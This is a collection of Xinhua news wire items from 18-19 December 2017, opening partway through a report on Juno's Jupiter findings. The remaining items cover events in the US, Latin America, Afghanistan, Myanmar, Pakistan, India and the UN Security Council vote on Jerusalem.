The particles are believed to be derived from energetic neutral atoms, fast-moving ions with no electric charge, created in the gas around the Jupiter moons Io and Europa. The neutral atoms then become ions as their electrons are stripped away by interaction with the upper atmosphere of Jupiter, according to JPL.

"The closer you get to Jupiter, the weirder it gets," said Heidi Becker, Juno's radiation monitoring investigation lead at JPL. "We knew the radiation would probably surprise us, but we didn't think we'd find a new radiation zone that close to the planet. We only found it because Juno's unique orbit around Jupiter allows it to get really close to the cloud tops during science collection flybys, and we literally flew through it."

Juno also found signatures of a high-energy heavy ion population within the inner edges of Jupiter's relativistic electron radiation belt, a region dominated by electrons moving close to the speed of light.

The signatures are observed during Juno's high-latitude encounters with the electron belt, in regions never explored by prior spacecraft.

The future of the Great Red Spot is still very much up for debate.

While the storm has been monitored since 1830, it has possibly existed for more than 350 years. In the 19th century, the Great Red Spot was well over two Earths wide. But in modern times, the Great Red Spot appears to be diminishing in size, as measured by Earth-based telescopes and spacecraft.

At the time Voyagers 1 and 2 sped by Jupiter on their way to Saturn and beyond, in 1979, the Great Red Spot was twice Earth's diameter. Today, measurements by Earth-based telescopes indicate the oval that Juno flew over has diminished in width by one-third and height by one-eighth since Voyager times, according to NASA.

Juno's name comes from Roman mythology. The mythical god Jupiter drew a veil of clouds around himself to hide his mischief, and his wife, the goddess Juno, was able to peer through the clouds and reveal Jupiter's true nature.

The spacecraft was launched on Aug. 5, 2011, from Cape Canaveral Air Force Station in Florida, has been orbiting Jupiter since July 4, 2016, and made its first close flyby of the red spot about a year later. Juno's ninth science pass was on Saturday.

During its mission of exploration, Juno soars low over the planet's cloud tops, as close as about 3,400 kilometers. During these flybys, Juno is probing beneath the obscuring cloud cover of Jupiter and studying its auroras to learn more about the planet's origins, structure, atmosphere and magnetosphere.
Source: Xinhua| 2017-12-19 07:53:55|Editor: Chengcheng

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WASHINGTON, Dec. 18 (Xinhua) -- The police chief of Charlottesville, U.S. state of Virginia, announced his immediate retirement Monday, amid criticism of the police response to a violent white supremacist rally over the summer.

Charlottesville Police Chief Al Thomas' retirement was "effective immediately," according to a release from the department.

"I will be forever grateful for having had the opportunity to protect and serve a community I love so dearly," Thomas said in the release.

He didn't specify the reason for his immediate retirement.

Thomas' decision to step down came after an independent report criticized the law enforcement's response to the rally held by white nationalists, neo-Nazis and other far-right groups in the historic university town in August.

The report, released about two weeks ago after an investigation led by former U.S. Attorney Tim Heaphy, found police were slow in their response to violent clashes between white nationalists and their rival demonstrators.

Heaphy said Thomas took a "misguidedly passive" approach to quelling the violence that erupted on Charlottesville streets both before and after authorities declared the "United the Right" rally at Emancipation Park unlawful and ordered the crowds dispersed.

A 32-year-old woman was killed and 19 others were injured when a car plowed into a crowd of people who were peacefully protesting the white nationalists. The driver, a neo-Nazi activist, was charged with first-degree murder last week.

Heaphy's report also found that there was a lack of coordination between local and state law enforcement when the violence broke out.

Thomas was appointed to police chief in 2016. He had served in law enforcement for 27 years.
Source: Xinhua| 2017-12-19 08:08:57|Editor: Chengcheng

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TEGUCIGALPA, Dec. 18 (Xinhua) -- Official election results that verified the incumbent's win fueled protests on Monday in Honduras, where supporters of the opposition were contesting the results and calling for new elections to be held.

Nearly a month after the Nov. 26 elections, the Supreme Electoral Court (TSE) on Sunday said the outcome was official: the candidate of the Opposition Alliance, Salvador Nasralla, was defeated by President Juan Orlando Hernandez's bid for reelection.

The announcement led the head of the alliance, former president Manuel Zelaya, to call on followers to continue to take to the streets to demand a recall.

"We are calling for the immediate and definitive mobilization of the Honduran people... to defeat electoral fraud," Zelaya said at a press conference.

Protesters set fire to tires and blocked roadways, clashing with military troops deployed to clear the avenues using tear gas. There was some looting, especially in San Pedro Sula, the second-largest city after the capital Tegucigalpa.

On Monday, Nasralla met in Washington, D.C. with the secretary general of the Organization of American States (OAS), Luis Almagro, to denounce the alleged electoral fraud.

The OAS, which had international observers monitoring the polls, has made its own announcement, acknowledging the elections were marred by irregularities and proposing a new round of voting.

"OAS General Secretariat proposes new elections in Honduras after the 2nd report of (the) Observation Mission," the organization posted to Twitter.

The head of the European Union Observer Mission at the elections, Marisa Matias, said via Twitter that "only Honduran institutions have the power to make decisions about the electoral process."

Meanwhile, several Latin American leaders, including Colombia's President Juan Manuel Santos, already congratulated Hernandez for winning a second four-year term.
Source: Xinhua| 2017-12-19 09:29:08|Editor: ZD

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by Abdul Haleem

KABUL, Dec. 19 (Xinhua) -- Just like in the past years, security problems have topped the challenges facing the government throughout this year in militancy-plagued Afghanistan, where thousands of U.S. and NATO-led forces have been fighting to win the so-called war on terror.

To win the longest and costliest battle in U.S. history, inherited from his predecessors George W. Bush and Barack Obama, U.S. President Donald Trump unveiled a new strategy in August for the war in Afghanistan.

In the controversial strategy, that also covers South Asia, Trump, besides stressing that more pressure be exerted on the Taliban and like-minded groups fighting in Afghanistan, also vowed to mount pressure on countries supporting the ongoing insurgency in the central Asian state.

Trump, while rejecting any plans to withdraw U.S. forces from the insurgency-plagued country in the near future, said that "our new strategy is a shift from a time-based approach to one based on conditions."

"America will continue its support for the Afghan government and the Afghan military as long as they confront the Taliban in the field," Trump said, with regards to the new strategy outlined on Aug. 21.

In the new strategy on Afghanistan and South Asia, the U.S. president also pointed finger at Afghanistan's immediate neighbor, Pakistan, as being a sanctuary for insurgents, and warned, "We can no longer be silent about Pakistan's safe havens for terrorist organizations, the Taliban, and other groups that pose a threat to the region and beyond."

The new U.S. strategy that has advocated for an increase in troops fighting militancy in Afghanistan has been welcomed by the Afghan government amid criticism by opposition circles, that believe the new approach will intensify the war in the already conflict-battered country.

INCREASING TROOPS

After Trump announced the new strategy on Afghanistan, Pentagon Chief James Mattis said that he would send more troops to the field.

Although Trump said in the new strategy that the number of troops deployed to Afghanistan would remain a secret, media reports have suggested that number of U.S. troops has increased from 11,000 in the past to 15,000 after unveiling the new strategy, to help bolster Afghan forces' power in the so-called war on terror.

The U.S. also called upon its allies to follow in its steps and send more troops to Afghanistan.

Complying with the demand, NATO member states and allied nations have pledged to send additional troops to the militancy-plagued country to help the embattled Afghan forces stabilize their country.

This is the first time since the drawdown of the U.S.-led coalition forces from Afghanistan in 2014 and the handing over of security responsibilities to Afghan forces by early 2015.

The U.S. air campaign in Afghanistan this year has also been increased since Trump assumed office and U.S.-led coalition forces' aircraft, according to media accounts, dropped more than 1,630 bombs compared to 545 reported cases of bombings in 2016.

The U.S.-led coalition forces' airstrikes have further intensified since the unveiling of Trump's new strategy and the forces, in addition to using drone strikes, have also used F-22 jet fighters and B-52 bombers, according to media reports.

The intensified air campaign in November targeted what the U.S. described as the funding network of Taliban militants in Bahramcha, Musa Qala and adjoining areas in the restive, poppy-growing Helmand province, along the border with Pakistan. The campaign reportedly killed scores of militants and allegedly destroyed more than two dozen heroin labs.

Taliban militants rebuffed the allegations saying the armed outfit does not operate heroin labs and all those killed in the air strikes were civilians.

The U.S. commander of the NATO-led Resolute Support (RS) mission in Afghanistan, General John Nicholson, however, confirmed the airstrikes on the heroin labs, stating: "The strikes are just the beginning, and it represents the U.S. and global will to defeat terror and the criminals who support terrorists."

Confirming the increase in airstrikes, a senior Afghan army commander in the southern region, General Wali Mohammad Ahmadzai, said recently that Afghan and foreign forces had conducted more than 400 air raids in Helmand province alone over the past eight months, in a bid to defeat the militants.

The surge in airstrikes, however, has raised the concerns of Human Rights Watch (HRW) over the possible increase in civilian casualties, with a senior Afghan-Based HRW researcher, Patricia Gossman, underscoring such concerns.

REGIONAL REACTIONS

While the Afghan government has welcomed the new U.S. strategy on Afghanistan and South Asia, critics at home, Afghanistan's immediate neighbors and regional powers have cast aspersion on the move.

Many Afghans, including former President Hamid Karzai, have referred to the strategy as warmongering, saying the new policy would fuel the war instead of bringing peace to the war-battered nation.

Karzai, who led Afghanistan with support from the U.S. for 13 years after the collapse of the Taliban regime in late 2001, has also warned that new U.S. strategy would undermine regional cooperation with the U.S. to bring peace to the country.

Echoing the sentiment, Afghanistan's immediate and extended neighbors have also slammed the new U.S. policy on Afghanistan.

A spokesperson for Pakistan's army, General Asif Ghafoor, has reportedly rejected Trump's remarks regarding Islamabad's alleged support of the Taliban, asserting that no terrorist camps exists in Pakistan.

China, which has been supporting the Afghan peace process, along with showing its appreciation for Pakistan's contribution in the fight against terrorism, has also voiced its hope that the new U.S. approach could lead to ensuring lasting peace and stability in Afghanistan.

Russia, meanwhile, also concerned about the lingering conflict and increasing militancy in Afghanistan, has, for its part, reportedly expressed doubts in the new U.S. approach.

The Taliban militants themselves, in a sharp reaction, denounced the new U.S. strategy for Afghanistan as warmongering and vowed to step up their resistance.

Zabihullah Majahid who speaks for the Taliban group, has vowed that the Taliban fighters would change Afghanistan to the American forces' graveyard if the U.S. administration continues its "occupation" of Afghanistan.

PRODUCTIVE RESULTS?

Since the unveiling of the new U.S. strategy on Afghanistan and owing to the increased pressure exerted on the militants, several key leaders and commanders of the Taliban, Islamic State (IS) and al-Qaida network are among hundreds of thousands of people, including civilians, who have been killed in the war-torn country.

Key Taliban commanders including Mawlawi Ismael, Mullah Nasir, Mullah Shafiq, Islamic State (IS) group key leader in Afghanistan, Abdul Rahman, and al-Qaida network's top leader in Afghanistan, Omar Khetab, also known as Omar Mansoor, have been killed since the new policy was outlined.

U.S. Commander Nicholson said recently that the war against the militants has "turned the corner" and the Taliban can't win the war in the face of increasing pressure. He stated that: "Their choices are to reconcile, live in irrelevance, or die."

"It is crystal clear to everyone that militancy and conflicts have increased since the new U.S. policy for Afghanistan was introduced, but productive results such as bringing the Taliban to the negotiating table remain elusive," renowned military and political analyst, Gen. (Rtd.) Atequllah Amarkhil, told Xinhua.

According to the analyst, many Afghans believe that regional powers' inconsistencies with U.S. policy for Afghanistan could lead to regional polarization, which, in turn, could ultimately see the ongoing conflicts in Afghanistan intensify.
Source: Xinhua| 2017-12-19 10:09:15|Editor: liuxin

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YANGON, Dec. 19 (Xinhua) -- Myanmar Vice President U Myint Swe has called for giving legal protection to migrant workers, especially women and children, when laws and policies are drawn for migrant rights, Myanmar News Agency reported Tuesday.

Observing the 2017 International Migrants Day in Nay Pyi Taw Monday, U Myint Swe stressed the need to produce more skilled workers in Myanmar who can meet the changing requirements of the labor market.

Citing Myanmar's join-in signing of the ASEAN Declaration on the Protection and Promotion of the Rights of Migrant Workers at the 31st ASEAN Summit held in the Philippines in November 2017, U Myint Swe voiced Myanmar's commitment toward social protection of migrant workers in the region, obtaining justice, health protection, humane and fair treatment of migrant workers.

He urged for ensuring a safe and secure method of transferring money by migrant workers to their homes, saying that money remitted by migrant workers from developing countries to their families is a major source of GDP for their home countries.

He called for cooperation in establishing a complete and successful society where migrant workers, who contribute towards the economic development of both the host country and country of origin, have a safe way of migrating, while being accorded protection and full rights.

There are 261 employment agencies including one government-operated one in Myanmar systematically sending migrant workers to Thailand, Singapore, Malaysia, South Korea, Japan and some Middle East countries which are popular destinations of Myanmar migrant workers.
Source: Xinhua| 2017-12-19 10:09:16|Editor: Yang Yi

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by Xinhua writers Zhu Dongyang, Liu Chen, Gao Pan

WASHINGTON, Dec. 18 (Xinhua) -- The rapport at personal and working levels between U.S. President Donald Trump and Chinese President Xi Jinping is expected to keep bilateral differences manageable, said a famous U.S. expert on Monday.

Michael O'Hanlon, a senior fellow on foreign policy at the Brookings Institution, made the remarks after Trump rolled out his first national security strategy report earlier in the day.

The report said the United States is "engaged in a new era of competition" from nations like China and Russia, "competitors" who seek to undermine the U.S. interests and will eventually overthrow the existing global order.

O'Hanlon told Xinhua in a written interview that he believed "the personal rapport that Trump and Xi are establishing is a useful way to sort of cap the economic tensions," and "maintain a professional and constructive and problem-solving orientation to the nature of the interactions and look for some tangible, concrete steps."

He said he is glad "that President Trump and President Xi have established a good rapport that hopefully keeps ...issues at a level where they can be productively discussed and managed as problems."

The leaders of the world's two largest economies met three times in 2017, including at Trump's Mar-a-Lago residence in the state Florida, forging a friendship or "great chemistry" in Trump's words. The frank high-level communications have contributed to the stable development of bilateral ties this year.

Bilateral trade expanded 16.5 percent in the first 11 months of this year. And in the first half of 2017, direct sales of U.S. meat products on Chinese e-commerce giant JD.COM grew more than 780 percent year-over-year.

In a comment on the definition of China in Trump's national security report, O'Hanlon said, "I'm glad the word is no more potent than competitor. Even that word 'competitor' is going to be problematic for some."

"I like to hope that it's manageable and that it can be kept within parameters," the China expert added.

"I think the document has to be taken in combination with the actual diplomacy between the United States and China right now and the relationship between Trump and Xi," he said.

"You can't view any one of these things in isolation, they all represent significant elements of the relationship and of U.S. government goals for the relationship, and you need to ask how they can be ...juxtaposed and integrated into a combined framework."

"So again I think the Xi-Trump relationship, which everyone knows to be meaningful and generally positive, perhaps even better than expected, is a bit of a softening element in what is otherwise a moderately tense or moderately stark national security strategy," he noted.

(Matthew Rusling in Washington contributed to the story.)
Source: Xinhua| 2017-12-19 10:14:19|Editor: liuxin

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RIO DE JANEIRO, Dec. 18 (Xinhua) -- Brazil's northeastern state of Ceara on Monday declared a state of emergency in 41 towns and cities, including its capital Fortaleza, due to an extreme drought.

The government said that the state is severely affected by water shortage and high temperature which have caused serious problems in water supply.

The Ceara state has formally requested the aid of the National Civil Defense System to tackle the crisis.

Despite efforts of the central and local governments, Brazil's nine states in the northeastern region have been suffering from drought in recent years.
Source: Xinhua| 2017-12-19 10:14:19|Editor: Yang Yi

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RIO DE JANEIRO, Dec. 18 (Xinhua) -- China's JAC Motors will open its first plant in Brazil with an investment of nearly 200 million reals (61 million U.S. dollars), the company said Monday.

The plant in the central state of Goias, near Brazil's capital city Brasilia, will have the capacity of manufacturing up to 35,000 vehicles a year. The project is expected to take two years and provide about 820 direct and indirect jobs.

The announcement was made after JAC Motors Brazil President Sergio Habib presented the project during a meeting with Goias Governor Marconi Perillo.

JAC Motors expects a 40 percent growth in its vehicle sales in Brazil this year, far above the market's average growth of 11 percent.
Source: Xinhua| 2017-12-19 10:34:23|Editor: Xiang Bo

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U.S. Ambassador to the United Nations Nikki Haley (R, front) vetoes a UN Security Council draft resolution on the status of Jerusalem at the UN headquarters in New York, on Dec. 18, 2017. The United States on Monday vetoed a Security Council draft resolution on the status of Jerusalem. All other 14 members of the Security Council voted in favor of the Egyptian-drafted text. But as the United States, which is a permanent member of the Security Council, has veto power, the draft resolution failed to be adopted. (Xinhua/UN Photo)

UNITED NATIONS, Dec. 18 (Xinhua) -- The United States Monday vetoed a United Nations Security Council (UNSC) draft resolution on the status of Jerusalem.

The other 14 members of the Security Council voted in favor of the Egypt-drafted text but as the United States, a permanent member of the UNSC, has veto power, the draft resolution failed to be adopted.

Before the vote, the Egyptian Ambassador to the United Nations, Amr Abdellatif Aboulatta, had explained that the draft resolution sought to ensure that any attempts to alter the characteristics or demographic composition of the Old City of Jerusalem would have no effect, were null and void, and must be rescinded.

It also called on all parties not to establish diplomatic missions in Jerusalem.

The U.S. Ambassador to the United Nations, Nikki Haley, defended the veto, saying it was the first U.S. veto in the Security Council in more than six years.

"We do it with no joy, but we do it with no reluctance," she told the Security Council.

Despite the fact that the vote was 14-1, Haley said the veto was not a source of embarrassment for the United States. "It should be an embarrassment to the remainder of the Security Council," she said, arguing that her country had the sovereign right to determine where or whether to establish its embassy in another country.

The other members of the Security Council hold that Israel has no sovereignty over all of Jerusalem, an issue that should be solved by the Israelis and Palestinians through negotiations.

Matthew Rycroft, the British ambassador to the United Nations, said his country disagrees with the U.S. decisions to unilaterally recognize Jerusalem as the capital of Israel and move the U.S. embassy to Jerusalem from Tel Aviv.

"These decisions are unhelpful to the prospects of peace in the region, an aim that all of us in this council remain committed (to)," he told the Security Council after the vote.

"The British embassy in Israel is based in Tel Aviv and we have no plans to move it," he added.

Rycroft said the British position on Jerusalem was clear and long-standing: "The status of Jerusalem should be determined through a negotiated settlement between the Israelis and Palestinians, and should ultimately be the shared capital of the Israeli and Palestinian states."

Britain regards East Jerusalem, which Israel captured in 1967, as part of the occupied Palestinian territories.

Wu Haitao, charge d'affaires of China's permanent mission to the United Nations, said the issue of Palestine, which is at the core of Middle East peace, is complicated and sensitive.

The draft resolution was in line with previous Security Council resolutions and was a continuation of the contents and spirit of past resolutions, Wu said, explaining China's "yes" vote on it.

China has consistently supported and pushed forward the Middle East peace process, he said.

"We support the just cause of restoring the legitimate national rights of the Palestinian people, support the establishment of a fully sovereign, independent State of Palestine based on the 1967 borders with East Jerusalem as its capital. Such a position of China will not change."
Source: Xinhua| 2017-12-19 10:59:28|Editor: Chengcheng

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SANTIAGO, Dec. 18 (Xinhua) -- Chilean voters on Sunday elected Sebastian Pinera, a conservative billionaire and former president who campaigned under the promise of economic growth and stability, to be the country's next president.

Pinera's election to a second term indicates many Chileans are more concerned about strengthening the economy than expanding social programs under his center-left rival Alejandro Guillier, who pledged continuation of the progressive policies of outgoing President Michelle Bachelet.

Chileans have become frustrated by the performance of Bachelet's administration amid declining international prices for copper, which has led to sluggish economic growth in the world's largest copper producer.

The female president further upset her people by not having fulfilled her labor and education reforms, something Guillier had vowed to carry on.

"Many people were unhappy with the current president and I suspect Guillier's gamble failed to pay off in that respect," said Alejandro Olivares, a scholar at Public Affairs Institute of the University of Chile.

Sunday's runoff saw Pinera win 54.6 percent of the vote to 45.4 percent for Guillier, a commanding lead contradicting previous polls that suggested a much narrower gap between the two contenders.

During his second presidential term, Pinera, who was the country's president from 2010 to 2014, is expected to sign bills to decriminalize abortion in certain cases and legalize same-sex marriage.

The president-elect has said he wants to lower corporate taxes to boost investment, which has languished to a certain degree under Bachelet.

However, Pinera will face the challenge of working with a Congress where no political group commands a majority.

"Pinera doesn't have the votes to promote such large-scale pro-business reforms. He will additionally come up against strong opposition in social matters. Chilean society wants a balance between the social and the economic," Olivares said.

Meanwhile, the expert said Pinera's reelection showed the "organizational weakness" of the country's leftists.

Beatriz Sanches, candidate of the newly emerged progressive Broad Front party, garnered 20 percent of the vote in the first round, trailing Pinera's 36 percent and Guillier's 22 percent.

Olivares said the emergence of Broad Front has thrown the left -- which he said has "huge problems of cohesion" -- into disarray.

Although observers believe Sanchez's supporters may line up with Guillier, unity within the left bloc remains a difficult task as the Broad Front advocates randical changes and is very critical of Bachelet's left-wing New Majority coalition, according to Olivares.

In addition, another reason that Broad Front didn't form a unifying coalition with Guillier was that it was comparatively easer to be an opposition to Pinera, Olivares added.

As for Guillier, his decision to present himself as Bachlete's successor rather than an independent reformer reduced his chances of winning, Olivares said.
Source: Xinhua| 2017-12-19 12:19:41|Editor: Yang Yi

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NEW DELHI, Dec. 19 (Xinhua) -- Indian police have arrested the owner of a shop which was caught fire in Mumbai Monday, claiming the lives of 12 people.

"Ramesh Bhanushali, the shop owner, has been arrested for running the establishment without any valid papers. He has been booked for culpable homicide not amounting to murder," a senior police official said Tuesday.

The fire broke out at Bhanu Farsan shop on Khairani Road in Mumbai's Saki Naka-Kurla area Monday morning and it soon engulfed the huge stock of eatables and furniture, trapping several workers there.

The blaze spread very quickly and within minutes it gutted the entire shop and brought down its structure. While 12 people died on the spot, those injured were admitted to a hospital by firefighters and rescuers of the local civic body.

"A probe is still on," the official said.

Fires are common in India mainly because of lack for regards for fire safety equipment and adherence to basic fire safety norms.
Source: Xinhua| 2017-12-19 12:19:42|Editor: Yang Yi

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WASHINGTON, Dec. 18 (Xinhua) -- The White House petition site "We the People" where citizens voice their concerns was temporarily shut down on Monday.

The Trump administration said the platform, launched in 2011 by the Obama administration, will be removed at midnight Tuesday and return in late January as a new site.

A White House official said the decision will save taxpayers 1.3 million U.S. dollars annually.

The official also said all existing petitions and responses will be preserved.

Petitions that attract 100,000 signatures will trigger a White House response. The Trump administration hasn't responded to any of over a dozen petitions that have reached that threshold since the president took office early this year.

Among those are petitions urging President Donald Trump to release his tax returns and to place his assets in a blind trust.
Source: Xinhua| 2017-12-19 12:24:43|Editor: Yang Yi

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RIO DE JANEIRO, Dec. 18 (Xinhua) -- Silval Barbosa, former governor of Mato Grosso state, in Brazil's midwestern region, was found guilty of embezzlement and sentenced to 13 years and seven months of prison on Monday.

According to the authorities, Barbosa headed a gang responsible for the embezzlement of over 2.5 million Reais from the state though frauds in the concession of fiscal incentives to private companies. The scheme involved the state's industrial development program Prodeic.

According to the Federal Police, the embezzlement occurred during Barbosa's second term as governor between 2011 and 2014. In addition to the former governor, several members of his cabinet were found guilty of participating in the scheme, such as former Chief of Staff Pedro Nadaf, former Finance Secretary Marcel de Cursi, advisors Silvio Cezar Correa de Araujo and Karla Cecilia de Oliveira Cintra, and retired prosecutor Francisco Lima de Andrade.

By turning state's evidence and providing information on the scheme, Barbosa managed to wrangle a rather beneficial deal, and will serve his sentence in house arrest, in addition to paying a hefty fine.

Besides, all the accused lost their rights to occupy any public office for eight years after the end of their sentences.

Barbosa is not the only Brazilian former governor to behave against the law: in Rio de Janeiro state, three former governors were arrested for several corruption crimes; Former Governor Sergio Cabral Filho is currently serving a sentence of 45 years and is a named defendant in a dozen other cases.
Source: Xinhua| 2017-12-19 12:34:45|Editor: Yang Yi

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WASHINGTON, Dec. 18 (Xinhua) -- U.S. Secretary of State Rex Tillerson on Tuesday will kick off his first trip to Canada since taking office, U.S. State Department officials said Monday.

Tillerson's trip comes as the U.S.-Canada relations are being tested by the increasing controversy over the U.S. demand for renegotiating the North American Free Trade Agreement (NAFTA).

Mexico, Canada and the United States have been renegotiating NAFTA since August, at the request of U.S. President Donald Trump, who has alleged that the 23-year-old agreement has harmed his country and has threatened to withdraw from it.

Washington continues to "work hard toward modernizing NAFTA" to reach "a deal for fair and reciprocal trade," the officials told a teleconference.

"As you know, it was 25-plus years ago that the treaty was initially negotiated. A lot of things have changed since then. I think according to our logic, there are lots of ways that we could all benefit from a modernization of the agreement," they said.

During his trip, Tillerson will meet with his Canadian counterpart, Chrystia Freeland, among other senior Canadian officials in Ottawa, with the aim of boosting the bilateral relations, the officials said.

The top U.S. diplomat is expected to continue the dialogue on U.S.-Canada mutual prosperity, defense, and security, and discuss shared concerns on global issues. He will also talk about Venezuela issue, border security and economic relationship, they added.

Bilateral war of words escalated as the U.S. International Trade Commission earlier this month unanimously voted that Canadian softwood lumber imports have been damaging to the U.S. lumber industry.

For its part, Canada has challenged the U.S. tariffs under the NAFTA and the World Trade Organization (WTO). The NAFTA dispute panel was reportedly to make its ruling by next fall, and the WTO process could take years.
Photo taken on July 2, 2016, shows a view of Gwadar Port in southwest Pakistan. (Xinhua/Ahmad Kamal)

ISLAMABAD, Dec. 18 (Xinhua) -- Interior Minister of Pakistan Ahsan Iqbal said that China came to Pakistan's rescue when it was going through the most critical time of its history by launching the China-Pakistan Economic Corridor (CPEC) under the Belt and Road Initiative.

Speaking at the launching ceremony of CPEC Long Term Plan, the minister said in 2013 Pakistan was facing many challenges including power crisis, crash of stock exchange, economic challenges and poor law and order situation. It was China that showed a positive gesture and supported the falling economy by bringing in about 46 billion U.S. dollars investment in the form of CPEC, he said.

"That gesture Pakistani nation will never forget that, while others were walking away, the government and people of China came to Pakistan's rescue and announced to the world that we (China) are investing billions of dollars in Pakistan because it is not a risky country, but a safe country," Iqbal said.

Iqbal said that different road networks are being constructed to connect underprivileged areas across the country with the main route of CPEC to boost and generate economic activities.

About the Long Term Plan of CPEC, the minister said that the plan would expand the scope of cooperation between the countries in various new areas, including cooperation in social sectors along with economic fields.

"This plan is effective until 2030. The short-term projects in it will be completed by up to 2020, medium term project up to 2025 and long term projects up to 2030," he added.
Source: Xinhua| 2017-12-19 12:49:47|Editor: Yang Yi

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by Xinhua writers Zhu Dongyang, Liu Chen, Matthew Rusling

WASHINGTON, Dec. 18 (Xinhua) -- U.S. President Donald Trump Monday announced the national security strategy, the first of its kind since he took office in January and the 17th since the former Reagan administration began to submit the report to the Congress in 1987.

The report, published by the executive branch of the government, articulates the worldwide interests, goals, and objectives of the United States important to its security.

A WORLD OF COMPETITION

In a speech delivered in the Ronald Reagan Building and International Trade Center, Trump said the report, developed for over a year, identifies four "pillars" or vital national interests: to protect the homeland and its people, promote U.S. prosperity, preserve peace through strength, and advance U.S. influence.

"This strategy recognizes that, whether we like it or not, we are engaged in a new era of competition. We accept that vigorous military, economic and political contests are playing out all around the world," he said.

U.S. Secretary of State Rex Tillerson later issued a statement, saying the United States "faces a 21st century global environment that presents unconventional threats from non-state actors, as well as challenges to our economic and national security from traditional state actors."

The strategy is based in the context of an ever-competitive world rife with political, economic and military competitions, where White House officials concede Washington "has not been competing as effectively as it might" and needs to do better to protect American interests.

INCLUSION OF ECONOMIC SECURITY

White House officials said the new thing about the report is the inclusion of economic and trade security.

The protection of the U.S. "national security innovation base" has been highlighted. It's a new term introduced to capture the range of activities to secure the U.S. economic interest and beyond.

Michael O'Hanlon, a senior fellow on foreign policy at the research organization Brookings Institution, said the report indicates a sense among some of the top team in the White House that other nations are taking advantage of the United States.

Timothy Heath, a senior research analyst at RAND Corporation, a U.S. think tank, said the new strategy's link to the "America First" principle can be seen in the emphasis on economic competition.

"The United States will likely step up its efforts to modernize the military, reexamine the terms of trade and investment, and increase its diplomatic outreach to countries in Asia and around the world," Heath said.

Dan Mahaffee, senior vice president and director of policy at the Center for the Study of the Presidency and Congress, expected Washington to strengthen a wide range of traditional defense priorities, especially if budgetary concerns could be resolved.

He cautioned that unilateral trade action and other measures are likely in the Trump administration toolbox.

IS CHINA COMPETITOR OR PARTNER?

The report refers to China and Russia as "revisionist powers," listing them as "competitors" seeking to alter the status quo that favors the U.S.

Both are regarded as rival powers that are eroding U.S. security and prosperity, and will eventually overthrow the Washington-defined global order in all aspects.

In the eyes of David Dollar, a senior fellow of Brookings Institution, this marks a change in approach from the previous administration, which valued cooperation with China on the Paris climate accord and the Iran nuclear deal.

"The strategy lays a foundation for protectionist measures against Chinese imports and investment," he said. "But it is only a strategy. It remains to be seen if the United States actually implements harsh protectionist measures."

Heath felt that competition does not have to entail hostility and threat.

"The challenge for both China and the United States will be to manage the competition in a manner that minimizes the risk of conflict," he said. "It will also be essential for the United States to step up cooperation with China to help balance the competitive elements of the bilateral relationship."

According to Mahaffee, the U.S.-China relationship is not one that can fall back on the Cold War concepts of superpower competition and containment.

"Both nations have more complex ties than the Cold War era and many global challenges require Sino-American cooperation for success," he said.
Source: Xinhua| 2017-12-19 13:04:49|Editor: huaxia

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WASHINGTON, Dec. 18 (Xinhua) -- U.S. Vice President Mike Pence on Monday postponed his trip to the Middle East until January, citing the need of his vote on the tax-cut legislation in Congress.

The delay allows him to remain in Washington, D.C. in case his vote is needed to break a tie in the Senate over the administration's tax reforms.

Pence was expected to depart for Egypt on Tuesday night and meet with Egyptian President Abdel Fattah al-Sisi on Wednesday before traveling to Israel.

A spokesperson for Pence's office said the vice president "is committed to seeing the tax cut through to the finish line," and looks forward to traveling to Egypt and Israel in January.

"The tax vote is still in very good shape, but we don't want to take any chances whatsoever," a senior White House official said.

The announcement came after Senator John McCain returned home to Arizona over the weekend to fight brain cancer, leaving Republicans with a razor-thin margin to pass the legislation.

The Senate is expected to vote on the package on Tuesday or early Wednesday.

White House officials denied that Pence's decision was driven by the reaction in the Middle East to President Donald Trump's controversial decision to recognize Jerusalem as Israel's capital.

Trump, breaking away from decades of the U.S. policy of neutrality, announced on Dec. 6 that the U.S. embassy in Tel Aviv would be moved to Jerusalem in a tacit recognition of Jerusalem as Israel's capital. The move has enraged Palestinians and other Muslims across the world.

At least six Palestinians have been killed in violent clashes with Israeli security forces in the past weeks in the ensuing protests. Enditem
Source: Xinhua| 2017-12-19 13:19:52|Editor: Xiang Bo

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U.S. Ambassador to the United Nations Nikki Haley (R, front) vetoes a UN Security Council draft resolution on the status of Jerusalem at the UN headquarters in New York, on Dec. 18, 2017. The United States on Monday vetoed a Security Council draft resolution on the status of Jerusalem. All other 14 members of the Security Council voted in favor of the Egyptian-drafted text. But as the United States, which is a permanent member of the Security Council, has veto power, the draft resolution failed to be adopted. (Xinhua/UN Photo)

BEIJING, Dec. 19 (Xinhua) -- The United States on Monday vetoed a Security Council draft resolution on Jerusalem, approved by all other 14 members of the Security Council, blocking its adoption.

The Egypt-drafted text sought to ensure that any attempts to alter the characteristics or demographic composition of the Old City of Jerusalem had no effect and were rescinded.

It also called on all parties not to establish diplomatic missions in Jerusalem.

Both before and after the voting, many countries, including key U.S. allies Britain, France, Italy, Japan and Qatar, expressed their disagreement with the United States, insisting that Jerusalem should be a shared capital of Israelis and Palestinians.

PALESTINIAN RESPONSE

The Palestinian Authority on Monday slammed the United States for its veto, calling it "against the international consensus".

In his opening remarks to the Palestinian leadership meeting Monday evening, President Mahmoud Abbas said Palestinians will return to the UN to seek full membership for Palestine, while announcing a series of countermeasures against the U.S. move.

"We will not accept the U.S. as a mediator in the peace process and this American position must be met with several measures," he said, highlighting that a special committee will be formed to look into relevant UN resolutions and propose new ones.

Abbas also signed 22 agreements and international treaties to strengthen the legal status of the state of Palestine on a global scale.

His spokesperson Nabil Abu Rudeineh said in an official statement that the U.S. veto "violates the legitimate international resolutions and the resolutions of the Security Council. It's a full bias to the occupation and to the aggression."

The veto "leads to more isolation of the United States and will provoke the international community," it said, adding, "We will carry on with our moves in the UN and all other international agencies to defend our people's rights."

Palestinian Minister of Foreign Affairs and Expatriates Riad Malki said the Palestinian Authority will resort to the UN General Assembly with a new draft resolution against the U.S. move.

INTERNATIONAL REACTION

The Egyptian Foreign Ministry Monday expressed regret at the result. Foreign Ministry spokesperson Ahmed Abu Zeid said the resolution reflected the international community's rejection of Trump's decision aimed at changing the status of Jerusalem.

Trump, breaking away from the decades-old U.S. policy of neutrality on the issue, announced on Dec. 6 that the U.S. embassy would be relocated from Tel Aviv to the disputed holy city, which was regarded as a tacit U.S. recognition of Jerusalem as Israel's capital.

The announcement shocked the international community and triggered protests.

Before the vote, Matthew Rycroft, the British ambassador to the United Nations, told reporters the United Kingdom would vote in favor because it was in line with Britain's long-standing position on Jerusalem and previous Security Council resolutions.

